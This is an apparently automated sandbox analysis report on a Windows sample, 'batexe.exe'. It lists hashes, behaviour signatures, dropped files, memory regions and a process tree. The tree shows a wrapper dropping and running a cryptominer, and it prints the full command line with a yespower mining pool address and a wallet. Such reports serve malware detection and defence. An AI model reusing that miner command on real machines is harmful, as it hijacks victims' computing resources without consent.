Analysis

  • max time kernel
    299s
  • max time network
    305s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-ja
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
  • submitted
    19/02/2024, 16:56

General

  • Target

    batexe.exe

  • Size

    9.4MB

  • MD5

    cdc9eacffc6d2bf43153815043064427

  • SHA1

    d05101f265f6ea87e18793ab0071f5c99edf363f

  • SHA256

    73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

  • SHA512

    fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6

  • SSDEEP

    196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score
7/10
upx

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 5 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\batexe.exe
    "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1296
    • C:\Users\Admin\AppData\Local\Temp\AEAF.tmp\b2e.exe
      "C:\Users\Admin\AppData\Local\Temp\AEAF.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\AEAF.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:4236
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\BC2C.tmp\batchfile.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4800
        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
          cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:888

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\AEAF.tmp\b2e.exe

          Filesize

          6.8MB

          MD5

          17117705d2dc347a2b83f892fc8751b4

          SHA1

          2d21928992cad4ce43191f9ed49baf4497cd9831

          SHA256

          f899f5e1e233562b410883a2e1845e6cf1468f62aa0fc70e375016d6f7770284

          SHA512

          0e226a0ac87b01790ec7168724619a35e8f80c715a636c6735c54d3f9d66c896219db58ba6f25e4a667fc58eea4da832fccd7e8f0673fdb04bf4df4313519cfa

        • C:\Users\Admin\AppData\Local\Temp\AEAF.tmp\b2e.exe

          Filesize

          1.4MB

          MD5

          fe4bc2bb4397eea601e0fa6c45cc20c6

          SHA1

          35477fc0a38f9db357a70f9b0573537fca582a9b

          SHA256

          8852fb3a8294753e6b088d458547feaf54685068ed6bc0dece93f608ab44afa7

          SHA512

          3759f54232069d2efba631954ff86bbf5ef58a616e4e0109c9ad5fcd632ee97ddf169ebddbe58237dbee36951c8d2e176312abe4e142f636398bff8fc2973bbf

        • C:\Users\Admin\AppData\Local\Temp\AEAF.tmp\b2e.exe

          Filesize

          9.2MB

          MD5

          d01de7fde330c0912f6cfa275e8c4bff

          SHA1

          68288153133e78ff94b7236454a5efb9f62ec82d

          SHA256

          668f6b90a312a6766f8a28fcb865e0a387f213bf32379b618b6895b2aa4de29d

          SHA512

          dddb4041b14d8bb6ea34536c75076b193cf724c7de2088c2be4c5fcb04b4cab8ec3f499839616a07e92773f8b30df68f136a6d71c3760bfd936e7ad29652b0fe

        • C:\Users\Admin\AppData\Local\Temp\BC2C.tmp\batchfile.bat

          Filesize

          136B

          MD5

          8ea7ac72a10251ecfb42ef4a88bd330a

          SHA1

          c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

          SHA256

          65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

          SHA512

          a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

          Filesize

          832KB

          MD5

          43dd8ab1a0fd7f177db516faa81a9635

          SHA1

          66a8b6940797f3396a4f1a6deafca1fda5bffcdd

          SHA256

          d4b58fa7e09511b58f312b57e2067823a7f31ff5cd6369cbf5ef3667c27b60ea

          SHA512

          064753e38fb6e2d64a8ce067a52c24b55eb11cf714a534f3557a0e2bd2f5fba16030d8496c7787f4b272ae6a696f4b017d99771488832d12711a7158c927f772

        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

          Filesize

          2.3MB

          MD5

          4c04147c386ba8792ac6a03069572a8a

          SHA1

          dda67789fc1d0f2469ca95f01a5c81034853ca6a

          SHA256

          c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

          SHA512

          a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

        • C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

          Filesize

          512KB

          MD5

          a5993c0dd7587f1716037dcfe1f63091

          SHA1

          9a4d23ce36f5fc5791692b47d977c0bf92842879

          SHA256

          568cec1e1bdccf401232a78c8ecf2081fdaea221f0a7c777a69ec61307cca3e3

          SHA512

          c5457590162dc1a0fd6b179ba94f19e6265e2ca226ea1ec553358f568690bbc158335ee92c297ce699b2928d44702733269f82640d86bb499c1981a5903afc12

        • C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

          Filesize

          384KB

          MD5

          d1d1f36cdbccda3b96e8c164afb74526

          SHA1

          91bafcd404c8568c9a195ec8cbf9592ea9e17e8b

          SHA256

          ea6e726150aa9a8dcf9ccb6a991440b451f9f2dcc46d93cb35971556879d1d03

          SHA512

          2306e6578ba2217b4f32913e1ac35e0547723b873c11244e96affd05457945373c621ea16a82e1e3aa1a177e3059efc40c8585118c63a3ea145524c51d1d18c9

        • C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

          Filesize

          320KB

          MD5

          e63bf5df87e2ea807dc353cc5aa9aab1

          SHA1

          69fc94bbebe878711cb133c3a1affb80c0bdecff

          SHA256

          2c9d6315f90367b959d3c32badd99bbc03eb808e4a46db72ccf2e81788b41533

          SHA512

          70f2b2a8a4c8ab23d81266cd23b75c27ced29a1eab8c80d95c57b595b10254b7229cc03b637716edbfad2a83827f2c557847b98d1de80256beec05c9512ee4bd

        • C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

          Filesize

          256KB

          MD5

          f8edb8dd2fb15f1887ace09587589dd4

          SHA1

          cbf7cbfefc0215d9500a98d9064deb9e86787152

          SHA256

          0465270288d69a0ec9beb7114707bed76756c14148293237d0d35423abdfc67b

          SHA512

          aa993112953225280c0bedb1ebd8288298b9c22a6a884a952ba60e48cbd21c4ce60724b7adc961a0528d7c569596e3420fec2670fc47c3eb6c00c691e0378abc

        • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

          Filesize

          192KB

          MD5

          62069650d62f76a4cdf0e81172d99993

          SHA1

          3b20ec5b4a4320ee15b0f7b9715a9ab90f68346e

          SHA256

          779a5590c667d9a704b79e159259c0646737394fd66a9c0b12d13f9445ca091c

          SHA512

          ae1954a84fb7543465e77a4cd5cc1bdeee0cf848592958633e6c51702b42131daae64c302d5c9537c59a9b3ba9498e5bf913d1f6f757ccdb8c4183b33224852b

        • C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

          Filesize

          448KB

          MD5

          9d1a04f05f75671a5a3ffeb995176c52

          SHA1

          a45018bb6a5dd52b310c1eb77262354365925a76

          SHA256

          c777e9d786f5d1d13f78a925453804bf53ee430a38f893f115c2d1ac0f2f07ff

          SHA512

          d19ea63c26c1d41edd5947d0c5ae70e2461c876563c2baeb1fd4a3986254f7919f8d4c32a9d6b9f4c51c4d5a23ffa90a2011d293a106a0a8813295b2bee06e1f

        • C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

          Filesize

          192KB

          MD5

          625f906456510afaf916dd0384d76eee

          SHA1

          66c56574aff02fb199caa60ab71ca9f1c9e7fc92

          SHA256

          27baaef233592b03722c7d64c26d2270c0300ffb8e7f08a8e0d65212af4b848d

          SHA512

          041399c5ddc614d8b1a359238df8fb09258c95a0013e5139dbf4093b892395f5f78fa31fbecfee92966c5e78a5c5894005c98e559b8b5735ecf9c1995df51b17

        • memory/888-59-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/888-54-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/888-43-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/888-44-0x0000000070800000-0x00000000708BC000-memory.dmp

          Filesize

          752KB

        • memory/888-46-0x000000006E070000-0x000000006E108000-memory.dmp

          Filesize

          608KB

        • memory/888-45-0x0000000061440000-0x000000006156B000-memory.dmp

          Filesize

          1.2MB

        • memory/888-47-0x0000000000F20000-0x00000000027D5000-memory.dmp

          Filesize

          24.7MB

        • memory/888-48-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/888-99-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/888-94-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/888-89-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/888-69-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/888-74-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/888-79-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/888-84-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/1296-9-0x0000000000400000-0x000000000393A000-memory.dmp

          Filesize

          53.2MB

        • memory/4236-8-0x0000000000400000-0x0000000000405000-memory.dmp

          Filesize

          20KB

        • memory/4236-53-0x0000000000400000-0x0000000000405000-memory.dmp

          Filesize

          20KB